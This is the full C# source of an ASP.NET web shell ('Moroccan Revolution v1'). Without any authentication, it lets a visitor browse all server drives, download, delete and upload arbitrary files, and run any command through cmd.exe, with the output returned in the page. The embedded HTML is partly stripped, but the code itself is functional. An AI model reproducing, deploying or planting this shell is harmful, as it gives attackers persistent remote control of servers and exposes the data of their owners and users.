<%@ WebHandler Language="C#" Class="MoroccanRevolution" %> using System; using System.Web; using System.IO; using System.Diagnostics; using System.Text; public class MoroccanRevolution : IHttpHandler { public void ProcessRequest(HttpContext context) { // 输出页面,使用 utf-8 context.Response.ContentType = "text/html; charset=utf-8"; // 获取目录(优先 query string fdir) string dir = context.Server.MapPath("."); if (!string.IsNullOrEmpty(context.Request.QueryString["fdir"])) dir = context.Request.QueryString["fdir"]; dir = dir.Replace("\\", "/").Replace("//", "/"); if (!dir.EndsWith("/")) dir += "/"; StringBuilder html = new StringBuilder(); html.Append("Moroccan Revolution v1 (ashx)"); html.Append("

Moroccan Revolution v1 - .ashx version

"); // === Drive List === html.Append("

Drives:

"); foreach (DriveInfo d in DriveInfo.GetDrives()) { if (!d.IsReady) continue; string dn = d.RootDirectory.FullName.Replace("\\", ""); // 使用 string.Format 替代 $"..." html.Append(string.Format("{1} ", HttpUtility.UrlEncode(dn), HttpUtility.HtmlEncode(dn))); } // === Breadcrumb === html.Append("

Path:

"); string[] parts = dir.Split('/'); string walk = ""; foreach (var part in parts) { if (part.Length == 0) continue; walk += part + "/"; html.Append(string.Format("{1}/ ", HttpUtility.UrlEncode(walk), HttpUtility.HtmlEncode(part))); } // === Handle Download === if (!string.IsNullOrEmpty(context.Request.QueryString["get"])) { string f = context.Request.QueryString["get"]; if (File.Exists(f)) { // 直接返回文件并结束响应 context.Response.ContentType = "application/octet-stream"; context.Response.WriteFile(f); return; } else { html.Append("

File not found: " + HttpUtility.HtmlEncode(f) + "

"); } } // === Handle Delete === if (!string.IsNullOrEmpty(context.Request.QueryString["del"])) { string f = context.Request.QueryString["del"]; try { if (File.Exists(f)) { File.Delete(f); html.Append("

Deleted: " + HttpUtility.HtmlEncode(f) + "

"); } else { html.Append("

Delete failed. File not found: " + HttpUtility.HtmlEncode(f) + "

"); } } catch (Exception ex) { html.Append("

Delete error: " + HttpUtility.HtmlEncode(ex.Message) + "

"); } } // === Handle Upload === if (context.Request.Files.Count > 0) { HttpPostedFile file = context.Request.Files[0]; string fn = Path.GetFileName(file.FileName); string savePath = Path.Combine(dir, fn); try { file.SaveAs(savePath); html.Append("

Upload OK: " + HttpUtility.HtmlEncode(fn) + "

"); } catch (Exception ex) { html.Append("

Upload error: " + HttpUtility.HtmlEncode(ex.Message) + "

"); } } // === Directory Listing === html.Append("

Directory Listing:

"); html.Append(""); try { DirectoryInfo di = new DirectoryInfo(dir); foreach (DirectoryInfo sub in di.GetDirectories()) { html.Append(""); } foreach (FileInfo f in di.GetFiles()) { string get = "?get=" + HttpUtility.UrlEncode(dir + f.Name); string del = "?fdir=" + HttpUtility.UrlEncode(dir) + "&del=" + HttpUtility.UrlEncode(dir + f.Name); html.Append(""); } } catch (Exception ex) { html.Append(""); } html.Append("
NameSize (KB)Action
" + HttpUtility.HtmlEncode(sub.Name) + "/<DIR>
" + HttpUtility.HtmlEncode(f.Name) + "" + (f.Length / 1024).ToString() + "Del
Directory error: " + HttpUtility.HtmlEncode(ex.Message) + "
"); // === Upload Form === html.Append("
"); html.Append("

Upload file:

"); html.Append("
"); // === Command Execution === html.Append("

Shell Command:

"); string cmd = context.Request["cmd"]; html.Append("
"); html.Append("
"); if (!string.IsNullOrEmpty(cmd)) { try { Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + cmd; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.WorkingDirectory = dir; p.StartInfo.CreateNoWindow = true; p.Start(); string output = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd(); html.Append("
" + HttpUtility.HtmlEncode(output) + "
"); } catch (Exception ex) { html.Append("
Error: " + HttpUtility.HtmlEncode(ex.Message) + "
"); } } html.Append(""); context.Response.Write(html.ToString()); } public bool IsReusable { get { return false; } } }